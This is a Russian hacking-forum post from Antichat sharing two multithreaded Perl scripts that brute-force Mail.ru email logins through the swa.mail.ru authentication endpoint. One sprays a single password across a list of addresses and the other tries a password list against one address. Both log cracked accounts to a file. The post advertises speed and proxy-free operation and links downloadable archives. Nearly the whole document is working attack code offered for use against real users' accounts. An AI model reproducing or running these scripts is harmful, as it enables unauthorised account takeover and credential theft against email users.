Форум АНТИЧАТ - [PERL]Multithread Mail.ru bruteforce by Sharky

Многопоточный Брутфорс Mail.ru by Sharky

http://img10.imageshack.us/img10/7172/logonmail1.gif

Описание:

[!]Брутит на один пароль по списку мыл ( можно и переделать :) ) через swa.mail.ru
[!]Многопоточнсть
[!]Высокая скорость брута (сам разгонял до 170 pps :))
[!]Не требуются прокси

Редактируем в коде под себя:

Код:

########################################################

$emails   = 'mail.txt';    #Файл с мылами

$good     = 'good.txt';    #Файл с прочеканными гуд акками

$password = '111111';      #Пароль на который брутить

########################################################

$threads = '20';          #Количество потоков

$timeout = '5';            #Таймаут

########################################################

Source:

Лист мыл на один пароль:

PHP код:


		
			
#!/usr/bin/perl



use IO::Socket;

use threads;

use threads::shared;

########################################################

my @acc : shared;

my $i : shared;

my $g : shared;

my $total : shared;

########################################################

$emails   = 'mail.txt';    #Файл с мылами

$good     = 'good.txt';    #Файл с прочеканными гуд акками

$password = '111111';      #Пароль на который брутить

########################################################

$threads = '20';          #Количество потоков

$timeout = '5';            #Таймаут

########################################################

$hostname = "swa.mail.ru";

$port     = '80';

$path     = "/cgi-bin/auth";



########################################################

open( ACS, "<$emails" );

@acc  = acc();

$size = scalar @acc;



threads();



sub threads {

    $g = 0;

    for ( 0 .. $threads ) { $trl[$_] = threads->create( \&check, $_ ); }

    for (@trl) { $_->join; }

    print "Good: $g ";

}



sub check {

    while (@acc) {

        { lock(@acc); $acc = shift @acc; }

        my ( $mail, $server ) = split( /@/, $acc );



        $nn = "\r\n";



        my $sock = new IO::Socket::INET(

            PeerAddr  => $hostname,

            PeerPort  => $port,

            PeerProto => 'tcp',

            TimeOut   => $timeout

        );

        if ( !$sock ) {

            { lock($i); $i++; }

        }

        else {

            my $data =

              "action1=Login&Login=$mail&Domain=$server&Password=$password";

            my $re =

                "POST /cgi-bin/auth HTTP/1.0" 

              . $nn

              . "Host: swa.mail.ru"

              . $nn

              . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"

              . $nn

              . "Content-type: application/x-www-form-urlencoded"

              . $nn

              . "Cache-Control: no-cache"

              . $nn

              . "Content-length: "

              . length($data)

              . $nn

              . "Connection: Keep-Alive"

              . $nn

              . $nn;

            print $sock $re;

            print $sock $data;

            sysread( $sock, my $answ, 666 );

            close $sock;



            if ( $answ =~ /Location/ ) {

                { lock($total); $total++; }

                print "$mail - [OK]\n";

                open( FILE, ">>$good" );

                print FILE "$acc:$password\n";

                close(FILE);

                $g++;

            }



            { lock($i); $i++; }

            $percent = ( $i / $size ) * 100;

            $percent = sprintf( "%.0f", $percent );

            print "$percent%" . $nn;

        }

    }

}



sub acc {

    my (@mas);

    while (<ACS>) {

        push @mas, $_;

    }

    chomp @mas;

    return @mas;

}

#with love by Sharky

Одно мыло на лист паролей:

PHP код:


		
			
 #!/usr/bin/perl 



use IO::Socket; 

use threads; 

use threads::shared; 

##################################################  ###### 

my @acc : shared; 

my $i : shared; 

my $g : shared; 

my $total : shared; 

$| = 1;



print "

###################################################################

###                 Sharky Mail.ru brute                        ###

### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]  ###

###################################################################

";

##################################################  ###### 

$email   = shift;

$pass = shift;

$good     = shift;



##################################################  ###### 

$threads = shift;

$timeout = '5';            #Таймаут 

##################################################  ###### 

$hostname = "swa.mail.ru"; 

$port     = '80'; 



##################################################  ###### 

print "[+] Loading passwords... \n";

open( ACS, "<$pass" );

@acc  = acc(); 

$size = scalar @acc; 

print "[+] Loaded $size passwords \n";



threads(); 



sub threads { 

print "[+] Start Brute\n\n";

    for ( 0 .. $threads ) { $trl[$_] = threads->create( &check, $_ ); } 

    for (@trl) { $_->join; }  

} 



sub check { 

    while (@acc) { 

        { lock(@acc); $passw = shift @acc; } 

        my ( $mail, $server ) = split( /@/, $email );  



        $nn = "\r\n"; 



        my $sock = new IO::Socket::INET( 

            PeerAddr  => $hostname, 

            PeerPort  => $port, 

            PeerProto => 'tcp', 

            TimeOut   => $timeout 

        ); 

        if ( !$sock ) { 

            { lock($i); $i++; } 

        } 

        else { 

            my $data = 

              "action1=Login&Login=$mail&Domain=$server&Password=$passw"; 

            my $re = 

                "POST /cgi-bin/auth HTTP/1.0"  

              . $nn 

              . "Host: swa.mail.ru" 

              . $nn 

              . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" 

              . $nn 

              . "Content-type: application/x-www-form-urlencoded" 

              . $nn 

              . "Cache-Control: no-cache" 

              . $nn 

              . "Content-length: " 

              . length($data) 

              . $nn 

              . "Connection: Keep-Alive" 

              . $nn 

              . $nn; 

            print $sock $re; 

            print $sock $data; 

            sysread( $sock, my $answ, 666 ); 

            close $sock; 



            if ( $answ =~ /Location/ ) { 

                { lock($total); $total++; } 

                print "$email:$passw - [OK]\n"; 

                open( FILE, ">>$good" ); 

                print FILE "$acc:$password\n"; 

                close(FILE); 

                exit;

            } 



            { lock($i); $i++; } 

        } 

        $percent = ( $i / $size ) * 100; 

            $percent = sprintf( "%.0f", $percent ); 

            print "[%]$percent%\r"; 

    } 

} 



sub acc { 

    my (@mas); 

    while (<ACS>) { 

        push @mas, $_; 

    } 

    chomp @mas; 

    return @mas; 

} 

#with love by Sharky

Использование одномыльного :

Код:

###################################################################

###                 Sharky Mail.ru brute                        ###

### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]  ###

###################################################################

Либо скачать архивом:
Rapidshare.com
Webfile.ru
Dump.ru